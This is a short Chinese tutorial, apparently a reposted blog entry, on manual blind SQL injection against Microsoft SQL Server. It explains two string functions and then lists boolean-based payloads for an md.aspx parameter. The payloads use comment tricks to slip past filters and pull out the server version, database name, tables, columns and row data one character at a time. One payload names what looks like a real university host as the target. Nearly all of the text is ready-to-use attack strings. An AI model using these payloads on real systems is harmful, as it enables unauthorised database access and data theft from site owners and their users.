mssql手工注入2

--+
先说一些函数的说明:
substring(str,start,len) 截取字符串的作用,第一个参数为要截取的字符串,第二个参数为从哪里开始截取,第三个参数为截取的长度 ascii(char) 把字符转换为ascii值
--+


爆数据库版本: md.aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))>0-- 正常页面 wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))>100-- 不正常页面 说明@@version的第一个字母的ascii 的范围是在0到100 之间 md.aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))=77-- 正常页面,说明@@version的第一个字母的ascii 的值是77,查表可知为M 第二个字母的注入为: md.aspx?c=c1'/**/and/**/ascii(substring(@@version,2,1))>0--



爆当前数据库名字:
md.aspx?c=c1'/**/and/**/ascii(substring(db_name(),1,1))>200--
其他字符按爆版本号方法类似


爆表:
md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1 name/**/from/**/库.sys.all_objects where type='U'/**/AND/**/is_ms_shipped=0),1,1))>0/**/--&t=0
爆第二张表:
md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1/**/name/**/from/**/库.sys.all_objects where type='U'/**/AND/**/is_ms_shipped=0 and name not in('表1')),1,1))>0/**/--&t=0

爆表的字段: md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1/**/COLUMN_NAME from/**/库.information_schema.columns/**/where/** /TABLE_NAME='表名1'),1,1))>0/**/--&t=0
爆第二个字段:
md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1/**/COLUMN_NAME/**/ from/**/库.information_schema.columns/**/where/** /TABLE_NAME='表名1'/**/and/**/COLUMN_NAME/**/not/**/in('字段1')),1,1))>0/**/--&t=0

爆数据:
md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1/**/字段1/**/from/**/表名),1,1))>0/**/--&t=0

对于这种注入, 如果能用工具, 就用工具, 因为特别的麻烦

原文地址:https://www.cnblogs.com/perl6/p/6835951.html